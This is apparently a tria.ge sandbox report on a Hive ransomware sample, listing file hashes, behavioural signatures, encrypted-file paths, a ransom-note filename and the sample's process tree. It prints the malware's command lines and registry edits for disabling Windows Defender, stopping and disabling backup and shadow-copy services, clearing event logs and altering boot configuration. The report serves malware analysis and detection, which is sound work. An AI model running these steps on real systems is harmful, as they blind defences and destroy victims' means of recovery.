Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
86s -
max time network
71s -
platform
windows10-1703_x64 -
resource
win10-20230220-en -
resource tags
arch:x64arch:x86image:win10-20230220-enlocale:en-usos:windows10-1703-x64system -
submitted
25/05/2023, 17:13
Behavioral task
behavioral1
Sample
211xahcou.exe
Resource
win10-20230220-en
Behavioral task
behavioral2
Sample
Hive.elf
Resource
win10-20230220-en
Behavioral task
behavioral3
Sample
hive.exe
Resource
win10-20230220-en
Behavioral task
behavioral4
Sample
hive_linux_elf
Resource
win10-20230220-en
Behavioral task
behavioral5
Sample
linux_hive.elf
Resource
win10-20230220-en
Behavioral task
behavioral6
Sample
sjl8j6ap3.exe
Resource
win10-20230220-en
Behavioral task
behavioral7
Sample
windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
Resource
win10-20230220-en
General
-
Target
zi1ysv64h.exe
-
Size
3.3MB
-
MD5
5384c6825a5707241c11d78529dbbfee
-
SHA1
85f5587e8ad534c2e5de0e72450b61ebda93e4fd
-
SHA256
3858e95bcf18c692f8321e3f8380c39684edb90bb622f37911144950602cea21
-
SHA512
856861295efb9c1b0000b369297cf6905a277c2d7dd0bc238f3884cd22598055450bf0459d68441f135bb77150685a86707ea9320a37e10548b40185f09b961f
-
SSDEEP
49152:HJ9mQ5uetkErb/TKvO90dL3BmAFd4A64nsfJ+9NRUMZXuPH9fc0KHPKG/g+eNgiz:HJ9jkl9NbBo9fc0KHYno
Malware Config
Extracted
C:\Program Files\Common Files\DESIGNER\K8zJ_HOW_TO_DECRYPT.txt
hive
Signatures
-
Deletes Windows Defender Definitions 2 TTPs 1 IoCs
Uses mpcmdrun utility to delete all AV definitions.
pid Process 2736 MpCmdRun.exe -
Hive
A ransomware written in Golang first seen in June 2021.
-
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" reg.exe Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" reg.exe Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" reg.exe Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
Modifies security service 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4" reg.exe -
Clears Windows event logs 1 TTPs 3 IoCs
pid Process 2152 wevtutil.exe 2016 wevtutil.exe 4232 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 4756 bcdedit.exe 4408 bcdedit.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\DailyChallenges\Popup\FUE1_Image_4.png zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\Fues\green_button.png zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\SecondaryTiles\Directions\Place\RTL\SmallTile.scale-100.png zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\Images\Ratings\Yelp2.scale-125.png zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\604_40x40x32.png zi1ysv64h.exe File opened for modification C:\Program Files\7-Zip\Lang\sr-spl.txt.2zF6-KvE-Z90XH__MUfZo0xCqvgGGmEbC8-W9b-U3hr_ltu7WrUtsf00.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProPlus2019R_OEM_Perp6-pl.xrm-ms.2zF6-KvE-Z90XH__MUfZo0xCqvgGGmEbC8-W9b-U3hr_ffZdV3vYlhc0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\osfFPA\addins.xml.2zF6-KvE-Z90XH__MUfZo0xCqvgGGmEbC8-W9b-U3hr_90GfsKfnid80.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\contrast-white\HxA-Generic-Dark.scale-400.png zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe\AppxSignature.p7x zi1ysv64h.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\HintBarEllipses.16.GrayF.png.2zF6-KvE-Z90XH__MUfZo0xCqvgGGmEbC8-W9b-U3hr_G9PJgodxNf40.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe\resources.pri zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Emoticons\large\smile.png zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-140_8wekyb3d8bbwe\Assets\Office\SelectAll.scale-140.png zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\Assets\LoadIcon_contrast-white.png zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\5601_48x48x32.png zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\large\au_60x42.png zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\large\ke_60x42.png zi1ysv64h.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\HomeBusiness2019R_Grace-ul-oob.xrm-ms.2zF6-KvE-Z90XH__MUfZo0xCqvgGGmEbC8-W9b-U3hr_Ix5-XpM0vko0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\ICE\ICE.INF.2zF6-KvE-Z90XH__MUfZo0xCqvgGGmEbC8-W9b-U3hr_KmfwafSZA5I0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Analysis Services\AS OLEDB\140\Cartridges\hive.xsl.2zF6-KvE-Z90XH__MUfZo0xCqvgGGmEbC8-W9b-U3hr_kwgjKngVrcA0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\offsymxl.ttf zi1ysv64h.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\MEDIA\EXPLODE.WAV.2zF6-KvE-Z90XH__MUfZo0xCqvgGGmEbC8-W9b-U3hr_Ugq4x7uS2gs0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\uk-ua\ui-strings.js.2zF6-KvE-Z90XH__MUfZo0xCqvgGGmEbC8-W9b-U3hr_PMPj64Ki-9Y0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\HomeStudentR_Trial2-pl.xrm-ms.2zF6-KvE-Z90XH__MUfZo0xCqvgGGmEbC8-W9b-U3hr_xu2u6jGyhI00.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\xboxservices.config zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\SecondaryTiles\Car\RTL\contrast-white\LargeTile.scale-100.png zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SecondaryTiles\Directions\Car\LTR\contrast-black\SmallTile.scale-125.png zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\ui-strings.js.2zF6-KvE-Z90XH__MUfZo0xCqvgGGmEbC8-W9b-U3hr_oePWVeukWBo0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\sl-si\ui-strings.js.2zF6-KvE-Z90XH__MUfZo0xCqvgGGmEbC8-W9b-U3hr_45yaWrw2HqQ0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Common Files\Microsoft Shared\Stationery\HandPrints.jpg zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Common Files\Microsoft Shared\Stationery\Peacock.jpg zi1ysv64h.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.apache.felix.gogo.command_0.10.0.v201209301215.jar.2zF6-KvE-Z90XH__MUfZo0xCqvgGGmEbC8-W9b-U3hr_kJRNtKPrbfA0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\VisioStd2019R_Grace-ppd.xrm-ms.2zF6-KvE-Z90XH__MUfZo0xCqvgGGmEbC8-W9b-U3hr_bR4piQUU24U0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\contrast-white\OneNoteAppList.targetsize-48.png zi1ysv64h.exe File created C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\PROFILE\K8zJ_HOW_TO_DECRYPT.txt zi1ysv64h.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\ko-kr\K8zJ_HOW_TO_DECRYPT.txt zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\Assets\CalculatorAppList.targetsize-16_altform-unplated.png zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\en-il\ui-strings.js.2zF6-KvE-Z90XH__MUfZo0xCqvgGGmEbC8-W9b-U3hr_FxaRj1Cu9840.2o4xo zi1ysv64h.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\fr-ma\K8zJ_HOW_TO_DECRYPT.txt zi1ysv64h.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms.2zF6-KvE-Z90XH__MUfZo0xCqvgGGmEbC8-W9b-U3hr_PO6Es700WcQ0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\PROOF\MSSP7EN.LEX.2zF6-KvE-Z90XH__MUfZo0xCqvgGGmEbC8-W9b-U3hr_DO_Qa_F6uZ40.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\TimerLargeTile.scale-100.png zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SecondaryTiles\Collections\WideTile.scale-125.png zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\HxCalendarAppList.targetsize-96_altform-unplated.png zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\contrast-black\HxA-Yahoo-Light.scale-250.png zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\A12_Spinner_int_2x.gif.2zF6-KvE-Z90XH__MUfZo0xCqvgGGmEbC8-W9b-U3hr_Q1TGWQZu29U0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.model.workbench_1.1.0.v20140512-1820.jar.2zF6-KvE-Z90XH__MUfZo0xCqvgGGmEbC8-W9b-U3hr_lLi1pp2HGlg0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\Assets\Logos\SplashScreen\PaintSplashScreen.scale-125.png zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\contrast-white\OneNoteSectionLargeTile.scale-150.png zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\AppxSignature.p7x zi1ysv64h.exe File opened for modification C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Yellow.xml.2zF6-KvE-Z90XH__MUfZo0xCqvgGGmEbC8-W9b-U3hr_GLuSLihjcKQ0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL092.XML.2zF6-KvE-Z90XH__MUfZo0xCqvgGGmEbC8-W9b-U3hr_Ue10TOWfZTU0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\Assets\Contrast\contrast-white\BuilderLogo.png zi1ysv64h.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\MEDIA\COIN.WAV.2zF6-KvE-Z90XH__MUfZo0xCqvgGGmEbC8-W9b-U3hr_Bm2NCrFnDsw0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\Assets\PeopleAppList.targetsize-40.png zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\Snooze.scale-80.png zi1ysv64h.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\hr-hr\K8zJ_HOW_TO_DECRYPT.txt zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\10912_20x20x32.png zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\5372_32x32x32.png zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_filter-disabled_32.svg.2zF6-KvE-Z90XH__MUfZo0xCqvgGGmEbC8-W9b-U3hr_ByRyWi337Ps0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\hu-hu\ui-strings.js.2zF6-KvE-Z90XH__MUfZo0xCqvgGGmEbC8-W9b-U3hr_5NHfbD_q_n00.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProjectProXC2RVL_MAKC2R-ul-phn.xrm-ms.2zF6-KvE-Z90XH__MUfZo0xCqvgGGmEbC8-W9b-U3hr_SbsRROWeLlk0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\BLUEPRNT\BLUEPRNT.INF.2zF6-KvE-Z90XH__MUfZo0xCqvgGGmEbC8-W9b-U3hr_cePEHTiUQXk0.2o4xo zi1ysv64h.exe -
Launches sc.exe 9 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2980 sc.exe 4544 sc.exe 3748 sc.exe 1764 sc.exe 3736 sc.exe 3720 sc.exe 2988 sc.exe 2976 sc.exe 4764 sc.exe -
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 3484 vssadmin.exe -
Modifies registry class 3 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\EPP reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\EPP reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\ContextMenuHandlers\EPP reg.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 3724 powershell.exe 3724 powershell.exe 3724 powershell.exe 3048 powershell.exe 3048 powershell.exe 3048 powershell.exe 5112 zi1ysv64h.exe 5112 zi1ysv64h.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeSecurityPrivilege 2152 wevtutil.exe Token: SeBackupPrivilege 2152 wevtutil.exe Token: SeSecurityPrivilege 2016 wevtutil.exe Token: SeBackupPrivilege 2016 wevtutil.exe Token: SeSecurityPrivilege 4232 wevtutil.exe Token: SeBackupPrivilege 4232 wevtutil.exe Token: SeIncreaseQuotaPrivilege 4436 wmic.exe Token: SeSecurityPrivilege 4436 wmic.exe Token: SeTakeOwnershipPrivilege 4436 wmic.exe Token: SeLoadDriverPrivilege 4436 wmic.exe Token: SeSystemProfilePrivilege 4436 wmic.exe Token: SeSystemtimePrivilege 4436 wmic.exe Token: SeProfSingleProcessPrivilege 4436 wmic.exe Token: SeIncBasePriorityPrivilege 4436 wmic.exe Token: SeCreatePagefilePrivilege 4436 wmic.exe Token: SeBackupPrivilege 4436 wmic.exe Token: SeRestorePrivilege 4436 wmic.exe Token: SeShutdownPrivilege 4436 wmic.exe Token: SeDebugPrivilege 4436 wmic.exe Token: SeSystemEnvironmentPrivilege 4436 wmic.exe Token: SeRemoteShutdownPrivilege 4436 wmic.exe Token: SeUndockPrivilege 4436 wmic.exe Token: SeManageVolumePrivilege 4436 wmic.exe Token: 33 4436 wmic.exe Token: 34 4436 wmic.exe Token: 35 4436 wmic.exe Token: 36 4436 wmic.exe Token: SeIncreaseQuotaPrivilege 1260 wmic.exe Token: SeSecurityPrivilege 1260 wmic.exe Token: SeTakeOwnershipPrivilege 1260 wmic.exe Token: SeLoadDriverPrivilege 1260 wmic.exe Token: SeSystemProfilePrivilege 1260 wmic.exe Token: SeSystemtimePrivilege 1260 wmic.exe Token: SeProfSingleProcessPrivilege 1260 wmic.exe Token: SeIncBasePriorityPrivilege 1260 wmic.exe Token: SeCreatePagefilePrivilege 1260 wmic.exe Token: SeBackupPrivilege 1260 wmic.exe Token: SeRestorePrivilege 1260 wmic.exe Token: SeShutdownPrivilege 1260 wmic.exe Token: SeDebugPrivilege 1260 wmic.exe Token: SeSystemEnvironmentPrivilege 1260 wmic.exe Token: SeRemoteShutdownPrivilege 1260 wmic.exe Token: SeUndockPrivilege 1260 wmic.exe Token: SeManageVolumePrivilege 1260 wmic.exe Token: 33 1260 wmic.exe Token: 34 1260 wmic.exe Token: 35 1260 wmic.exe Token: 36 1260 wmic.exe Token: SeIncreaseQuotaPrivilege 1260 wmic.exe Token: SeSecurityPrivilege 1260 wmic.exe Token: SeTakeOwnershipPrivilege 1260 wmic.exe Token: SeLoadDriverPrivilege 1260 wmic.exe Token: SeSystemProfilePrivilege 1260 wmic.exe Token: SeSystemtimePrivilege 1260 wmic.exe Token: SeProfSingleProcessPrivilege 1260 wmic.exe Token: SeIncBasePriorityPrivilege 1260 wmic.exe Token: SeCreatePagefilePrivilege 1260 wmic.exe Token: SeBackupPrivilege 1260 wmic.exe Token: SeRestorePrivilege 1260 wmic.exe Token: SeShutdownPrivilege 1260 wmic.exe Token: SeDebugPrivilege 1260 wmic.exe Token: SeSystemEnvironmentPrivilege 1260 wmic.exe Token: SeRemoteShutdownPrivilege 1260 wmic.exe Token: SeUndockPrivilege 1260 wmic.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 5112 wrote to memory of 3940 5112 zi1ysv64h.exe 67 PID 5112 wrote to memory of 3940 5112 zi1ysv64h.exe 67 PID 3940 wrote to memory of 4164 3940 net.exe 69 PID 3940 wrote to memory of 4164 3940 net.exe 69 PID 5112 wrote to memory of 4828 5112 zi1ysv64h.exe 70 PID 5112 wrote to memory of 4828 5112 zi1ysv64h.exe 70 PID 4828 wrote to memory of 4200 4828 net.exe 72 PID 4828 wrote to memory of 4200 4828 net.exe 72 PID 5112 wrote to memory of 1696 5112 zi1ysv64h.exe 73 PID 5112 wrote to memory of 1696 5112 zi1ysv64h.exe 73 PID 1696 wrote to memory of 4256 1696 net.exe 75 PID 1696 wrote to memory of 4256 1696 net.exe 75 PID 5112 wrote to memory of 2556 5112 zi1ysv64h.exe 76 PID 5112 wrote to memory of 2556 5112 zi1ysv64h.exe 76 PID 2556 wrote to memory of 2152 2556 net.exe 78 PID 2556 wrote to memory of 2152 2556 net.exe 78 PID 5112 wrote to memory of 4004 5112 zi1ysv64h.exe 79 PID 5112 wrote to memory of 4004 5112 zi1ysv64h.exe 79 PID 4004 wrote to memory of 1564 4004 net.exe 81 PID 4004 wrote to memory of 1564 4004 net.exe 81 PID 5112 wrote to memory of 2760 5112 zi1ysv64h.exe 82 PID 5112 wrote to memory of 2760 5112 zi1ysv64h.exe 82 PID 2760 wrote to memory of 2748 2760 net.exe 84 PID 2760 wrote to memory of 2748 2760 net.exe 84 PID 5112 wrote to memory of 1252 5112 zi1ysv64h.exe 85 PID 5112 wrote to memory of 1252 5112 zi1ysv64h.exe 85 PID 1252 wrote to memory of 2744 1252 net.exe 87 PID 1252 wrote to memory of 2744 1252 net.exe 87 PID 5112 wrote to memory of 3788 5112 zi1ysv64h.exe 88 PID 5112 wrote to memory of 3788 5112 zi1ysv64h.exe 88 PID 3788 wrote to memory of 4104 3788 net.exe 90 PID 3788 wrote to memory of 4104 3788 net.exe 90 PID 5112 wrote to memory of 3892 5112 zi1ysv64h.exe 91 PID 5112 wrote to memory of 3892 5112 zi1ysv64h.exe 91 PID 3892 wrote to memory of 1492 3892 net.exe 93 PID 3892 wrote to memory of 1492 3892 net.exe 93 PID 5112 wrote to memory of 2980 5112 zi1ysv64h.exe 94 PID 5112 wrote to memory of 2980 5112 zi1ysv64h.exe 94 PID 5112 wrote to memory of 2976 5112 zi1ysv64h.exe 97 PID 5112 wrote to memory of 2976 5112 zi1ysv64h.exe 97 PID 5112 wrote to memory of 4544 5112 zi1ysv64h.exe 98 PID 5112 wrote to memory of 4544 5112 zi1ysv64h.exe 98 PID 5112 wrote to memory of 4764 5112 zi1ysv64h.exe 100 PID 5112 wrote to memory of 4764 5112 zi1ysv64h.exe 100 PID 5112 wrote to memory of 3748 5112 zi1ysv64h.exe 102 PID 5112 wrote to memory of 3748 5112 zi1ysv64h.exe 102 PID 5112 wrote to memory of 1764 5112 zi1ysv64h.exe 104 PID 5112 wrote to memory of 1764 5112 zi1ysv64h.exe 104 PID 5112 wrote to memory of 3736 5112 zi1ysv64h.exe 106 PID 5112 wrote to memory of 3736 5112 zi1ysv64h.exe 106 PID 5112 wrote to memory of 3720 5112 zi1ysv64h.exe 108 PID 5112 wrote to memory of 3720 5112 zi1ysv64h.exe 108 PID 5112 wrote to memory of 2988 5112 zi1ysv64h.exe 110 PID 5112 wrote to memory of 2988 5112 zi1ysv64h.exe 110 PID 5112 wrote to memory of 4448 5112 zi1ysv64h.exe 112 PID 5112 wrote to memory of 4448 5112 zi1ysv64h.exe 112 PID 5112 wrote to memory of 4280 5112 zi1ysv64h.exe 114 PID 5112 wrote to memory of 4280 5112 zi1ysv64h.exe 114 PID 5112 wrote to memory of 4636 5112 zi1ysv64h.exe 116 PID 5112 wrote to memory of 4636 5112 zi1ysv64h.exe 116 PID 5112 wrote to memory of 4312 5112 zi1ysv64h.exe 118 PID 5112 wrote to memory of 4312 5112 zi1ysv64h.exe 118 PID 5112 wrote to memory of 4972 5112 zi1ysv64h.exe 120 PID 5112 wrote to memory of 4972 5112 zi1ysv64h.exe 120 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\zi1ysv64h.exe"C:\Users\Admin\AppData\Local\Temp\zi1ysv64h.exe"1⤵
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5112 -
C:\Windows\SYSTEM32\net.exenet.exe stop "SamSs" /y2⤵
- Suspicious use of WriteProcessMemory
PID:3940 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SamSs" /y3⤵PID:4164
-
-
-
C:\Windows\SYSTEM32\net.exenet.exe stop "SDRSVC" /y2⤵
- Suspicious use of WriteProcessMemory
PID:4828 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SDRSVC" /y3⤵PID:4200
-
-
-
C:\Windows\SYSTEM32\net.exenet.exe stop "SstpSvc" /y2⤵
- Suspicious use of WriteProcessMemory
PID:1696 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SstpSvc" /y3⤵PID:4256
-
-
-
C:\Windows\SYSTEM32\net.exenet.exe stop "UI0Detect" /y2⤵
- Suspicious use of WriteProcessMemory
PID:2556 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "UI0Detect" /y3⤵PID:2152
-
-
-
C:\Windows\SYSTEM32\net.exenet.exe stop "vmicvss" /y2⤵
- Suspicious use of WriteProcessMemory
PID:4004 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "vmicvss" /y3⤵PID:1564
-
-
-
C:\Windows\SYSTEM32\net.exenet.exe stop "VSS" /y2⤵
- Suspicious use of WriteProcessMemory
PID:2760 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "VSS" /y3⤵PID:2748
-
-
-
C:\Windows\SYSTEM32\net.exenet.exe stop "wbengine" /y2⤵
- Suspicious use of WriteProcessMemory
PID:1252 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "wbengine" /y3⤵PID:2744
-
-
-
C:\Windows\SYSTEM32\net.exenet.exe stop "WebClient" /y2⤵
- Suspicious use of WriteProcessMemory
PID:3788 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "WebClient" /y3⤵PID:4104
-
-
-
C:\Windows\SYSTEM32\net.exenet.exe stop "UnistoreSvc_18168" /y2⤵
- Suspicious use of WriteProcessMemory
PID:3892 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "UnistoreSvc_18168" /y3⤵PID:1492
-
-
-
C:\Windows\SYSTEM32\sc.exesc.exe config "SamSs" start= disabled2⤵
- Launches sc.exe
PID:2980
-
-
C:\Windows\SYSTEM32\sc.exesc.exe config "SDRSVC" start= disabled2⤵
- Launches sc.exe
PID:2976
-
-
C:\Windows\SYSTEM32\sc.exesc.exe config "SstpSvc" start= disabled2⤵
- Launches sc.exe
PID:4544
-
-
C:\Windows\SYSTEM32\sc.exesc.exe config "UI0Detect" start= disabled2⤵
- Launches sc.exe
PID:4764
-
-
C:\Windows\SYSTEM32\sc.exesc.exe config "vmicvss" start= disabled2⤵
- Launches sc.exe
PID:3748
-
-
C:\Windows\SYSTEM32\sc.exesc.exe config "VSS" start= disabled2⤵
- Launches sc.exe
PID:1764
-
-
C:\Windows\SYSTEM32\sc.exesc.exe config "wbengine" start= disabled2⤵
- Launches sc.exe
PID:3736
-
-
